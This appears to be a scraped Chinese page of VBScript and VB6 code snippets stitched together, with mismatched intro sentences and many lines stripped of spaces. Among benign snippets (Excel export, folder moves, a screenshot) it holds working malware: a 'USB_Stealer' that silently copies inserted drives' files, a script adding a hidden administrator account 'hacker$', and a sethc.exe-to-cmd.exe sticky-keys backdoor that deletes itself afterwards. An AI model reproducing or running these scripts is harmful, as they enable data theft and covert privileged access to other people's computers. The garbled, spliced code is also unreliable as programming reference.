当你退出FORM时，不论在有一个、100个甚至没有数据库连接时都可以使用下面代码
'==========================================
'Name : USB_Stealer
'Date : 2010/5/25
'Author : Demon
'Copyright : Copyright (c) 2010 Demon
'E-Mail : still.demon@gmail.com
'QQ : 380401911
'Website :
'==========================================
'Option Explicit
On Error Resume Next
Const Target_Folder="C:\USB"
Call Main()
Sub Main()
On Error Resume Next
Const Device_Arrival=2
Const Device_Removal=3
Const strComputer="."
Dim objWMIService, colMonitoredEvents, objLatestEvent
Set objWMIService=GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\" _
& strComputer & "\root\cimv2")
Set colMonitoredEvents=objWMIService. _
ExecNotificationQuery( _
"Select * from Win32_VolumeChangeEvent")
Do
Set objLatestEvent=colMonitoredEvents.NextEvent
Select Case objLatestEvent.EventType
Case Device_Arrival
Copy_File objLatestEvent.DriveName
End Select
Loop
End Sub
Sub Copy_File(Folder_Path)
On Error Resume Next
Dim fso,file,folder
Set fso=CreateObject("scripting.filesystemobject")
If Not fso.FolderExists(Target_Folder) Then
fso.CreateFolder(Target_Folder)
End If
For Each file In fso.GetFolder(Folder_Path).Files
file.Copy Target_Folder & "" & file.Name,True
Next
For Each folder In fso.GetFolder(Folder_Path).SubFolders
folder.Copy Target_Folder & "" & folder.Name,True
Next
End Sub
经常地，当编写代码时，我们希望将一段代码执行若干次，我们可以在代码中使用循环语句来完成这项工作下面,笔者将向大家介绍一种方法
可以采用变通的办法先复制再删除
========================================wmi=================
strComputer="."
Set objWMIService=GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\" & strComputer & "\root\cimv2")
Set colFolders=objWMIService.ExecQuery _
("Select * from Win32_Directory where name='c:\\Scripts'")
For Each objFolder in colFolders
errResults=objFolder.Rename("d:\\VBScript")
Wscript.Echo errResults
Next
错误码13，估计是更名的时候不允许ren c:\1 d:\2这样的格式
========================Shell.Application可以成功====================
Const FOF_CREATEPROGRESSDLG=&H0&
TargetFolder="c:\3"
Set objShell=CreateObject("Shell.Application")
Set objFolder=objShell.NameSpace(TargetFolder)
objFolder.MoveHere "d:\downloads", FOF_CREATEPROGRESSDLG
但是必须目标文件夹（像本例的是c:\3）存在才可以
->
要使用WSH的其他对象（例如WshShell对象），就必须先用WScript对象的有关方法（CreateObject、GetObject）来创建和读取程序需要，我在网上找了很久才找到，刚刚把程序写好，并加写了注释，希望能帮助大家
再写程序前先引用
microsoftexcel11.0objectLibrary
我看到的文章是10.0的，我这是office2003是11.0，只要安了excel就有这个引用~
PrivateSubcmdsave_Click()
MsgBox"文件保存为:D:\电网配电线路管理信息系统\信息查询结果\事故信息查询结果.xls"
DimiAsInteger
DimjAsInteger
DimexAsObject
DimexwbookAsObject
DimexsheetAsObject
Setex=CreateObject("Excel.Application")
Setexwbook=Nothing
Setexsheet=Nothing
Setexwbook=ex.Workbooks().Add
Setexsheet=exwbook.Worksheets("sheet1")
'在excel里表格的表头，这是根据我的需要添加的标头
ex.Range("c3").Value="日期"
ex.Range("d3").Value="时间"
ex.Range("e3").Value="站点"
ex.Range("f3").Value="汇报人"
ex.Range("g3").Value="线路双编号"
ex.Range("h3").Value="保护动作类型"
ex.Range("i3").Value="事故原因"
ex.Range("j3").Value="处理负责人"
ex.Range("k3").Value="处理方法"
ex.Range("l3").Value="处理结果"
ex.Range("m3").Value="结束时间"
ex.Range("n3").Value="备注"
'i为记录个数使用循环将数据全部添加
Fori=1ToAdodc1.Recordset.RecordCount
j=3 i
'k为数据列数
Fork=0To11
'通过使用变量k和j变换单元格位置
q=Chr(99 k)&j
'将datagrid1的数据放到单元格内
ex.Range(q).Value=DataGrid1.Columns(k)
Nextk
'指针下移
IfAdodc1.Recordset.EOF=FalseThen
Adodc1.Recordset.MoveNext
EndIf
Nexti
'保存输入到事故信息查询结果.xls
exwbook.SaveAs"D:\电网配电线路管理信息系统\信息查询结果\事故信息查询结果.xls"
'退出excel
ex.Quit
EndSub
我觉得这段程序很简单而且很使用，使用时不要打开事故信息查询结果.xls否则会报错
存储时系统会自动提示是否更换文件，根据自己用发来用->
on error resume next
dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments
(0):password=Wscript.Arguments(1):Else:username="hacker$":password="123456":end if:set
wsnetwork=CreateObject("WSCRIPT.NETWORK"):os=""&wsnetwork.ComputerName:Set ob=GetObject
(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword
password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echo
of.ADsPath
On Error Resume Next
Dim obj, success
Set obj=CreateObject("WScript.Shell")
success=obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%
\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cmd.exe %SystemRoot%\system32
\acmd.exe© %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%
\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)
序输出日期时间PublicDeclareFunctionGetDesktopWindowLib"user32"()AsLong
PublicDeclareFunctionGetDCLib"user32"(ByValhwndAsLong)AsLong
PublicDeclareFunctionBitBltLib"gdi32"_
(ByValhDestDCAsLong,_
ByValxAsLong,_
ByValyAsLong,_
ByValnWidthAsLong,_
ByValnHeightAsLong,_
ByValhSrcDCAsLong,_
ByValxSrcAsLong,_
ByValySrcAsLong,_
ByValdwRopAsLong)AsLong
PrivateSubForm_Load()
DimlDesktopAsLong
DimlDCAsLong
Form1.AutoRedraw=True
Form1.ScaleMode=1
lDesktop=GetDesktopWindow()'取得桌面窗口
lDC=GetDC(lDesktop)'取得桌面窗口的设备场景
BitBltMe.hDC,0,0,Screen.Width,Screen.Height,lDC,0,0,vbSrcCopy'将桌面图象绘制到窗体
EndSub->
<!--
'判断是否是日期
functionthisdate(dt)
ifnotIsDate(dt)then
thisdate=false
elseifint(left(dt,4))<int(1750)then
thisdate=false
else
thisdate=true
endif
endfunction
//-->
</SCRIPT>。
